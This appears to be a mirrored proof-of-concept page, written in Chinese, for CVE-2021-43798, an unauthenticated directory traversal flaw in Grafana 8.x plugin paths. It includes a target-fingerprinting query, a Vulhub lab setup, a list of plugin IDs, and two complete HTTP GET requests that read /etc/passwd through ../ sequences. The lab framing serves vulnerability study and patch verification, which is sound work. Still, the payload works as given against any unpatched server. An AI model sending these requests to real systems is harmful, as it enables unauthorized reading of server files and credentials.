mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 19:38:09 +00:00
91 lines
2.6 KiB
Markdown
91 lines
2.6 KiB
Markdown
|
# Grafana 8.x 插件模块目录穿越漏洞 CVE-2021-43798
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
Grafana 是一个开源的度量分析与可视化套件。在 2021 年 12 月，推特用户@j0v 发表了他发现的一个 0day，攻击者利用这个漏洞可以读取服务器上的任意文件。
|
|||
|
|
|
|||
|
|
参考链接：
|
|||
|
|
|
|||
|
|
- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
|
|||
|
|
- https://twitter.com/hacker_/status/1467880514489044993
|
|||
|
|
- https://nosec.org/home/detail/4914.html
|
|||
|
|
- https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw
|
|||
|
|
- https://codeload.github.com/grafana/grafana/zip/refs/tags/v8.3.0 source code
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Grafana 8.x
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="Grafana_Labs-公司产品"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub 执行如下命令启动一个 Grafana 8.2.6 版本服务器：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
服务启动后，访问 `http://your-ip:3000` 即可查看登录页面，但是这个漏洞是无需用户权限的。
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
这个漏洞出现在插件模块中，这个模块支持用户访问插件目录下的文件，但因为没有对文件名进行限制，攻击者可以利用 `../` 的方式穿越目录，读取到服务器上的任意文件。
|
|||
|
|
|
|||
|
|
利用这个漏洞前，我们需要先获取到一个已安装的插件 id，比如常见的有：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
alertlist
|
|||
|
|
cloudwatch
|
|||
|
|
dashlist
|
|||
|
|
elasticsearch
|
|||
|
|
graph
|
|||
|
|
graphite
|
|||
|
|
heatmap
|
|||
|
|
influxdb
|
|||
|
|
mysql
|
|||
|
|
opentsdb
|
|||
|
|
pluginlist
|
|||
|
|
postgres
|
|||
|
|
prometheus
|
|||
|
|
stackdriver
|
|||
|
|
table
|
|||
|
|
text
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
再发送如下数据包，读取任意文件：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
|
|||
|
|
Host: your-ip:3000
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
|
|||
|
|
Accept: */*
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
|||
|
|
Connection: close
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
也可以将其中的 `alertlist` 换成其他合法的插件 id，例如 `graph`：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /public/plugins/graph/../../../../../../../../../../../../../etc/passwd HTTP/1.1
|
|||
|
|
Host: your-ip:3000
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
|
|||
|
|
Accept: */*
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
|||
|
|
Connection: close
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|